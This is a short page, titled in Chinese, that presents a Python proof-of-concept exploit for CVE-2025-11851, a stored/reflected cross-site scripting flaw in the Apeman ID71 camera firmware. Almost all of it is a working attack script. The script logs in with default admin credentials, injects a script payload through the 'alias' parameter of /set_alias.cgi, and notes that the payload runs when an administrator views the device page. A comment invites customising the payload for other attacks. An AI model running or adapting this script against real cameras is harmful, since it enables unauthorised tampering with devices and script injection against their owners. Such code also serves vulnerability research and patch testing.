CVE-2025-11851：Apeman ID71摄像头跨站脚本漏洞

#!/usr/bin/env python3 """ CVE-2025-11851 - Apeman ID71 XSS PoC Vulnerability: Reflected/Stored XSS in /set_alias.cgi via 'alias' parameter Target: Apeman ID71 Camera firmware EN75.8.53.20 """ import requests import sys from urllib.parse import quote TARGET_HOST = "http://<target_ip>" USERNAME = "admin" PASSWORD = "admin" # XSS payload - can be customized for different attack scenarios XSS_PAYLOAD = '<script>alert("XSS-CVE-2025-11851")</script>' def exploit(target_host, username, password, payload): session = requests.Session() # Step 1: Authenticate to the camera web interface login_url = f"{target_host}/login.cgi" login_data = { "username": username, "password": password } print(f"[*] Authenticating to {target_host}...") resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print(f"[-] Authentication failed with status code: {resp.status_code}") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via alias parameter set_alias_url = f"{target_host}/set_alias.cgi" alias_data = { "alias": payload } print(f"[*] Injecting XSS payload into alias parameter...") print(f"[*] Payload: {payload}") resp = session.post(set_alias_url, data=alias_data, verify=False) if resp.status_code == 200: print("[+] XSS payload successfully injected!") print(f"[*] When an admin views the device page, the script will execute.") return True else: print(f"[-] Failed to inject payload. Status code: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) >= 2: TARGET_HOST = sys.argv[1] if len(sys.argv) >= 3: USERNAME = sys.argv[2] if len(sys.argv) >= 4: PASSWORD = sys.argv[3] print("=" * 60) print("CVE-2025-11851 - Apeman ID71 XSS Exploit") print("=" * 60) exploit(TARGET_HOST, USERNAME, PASSWORD, XSS_PAYLOAD)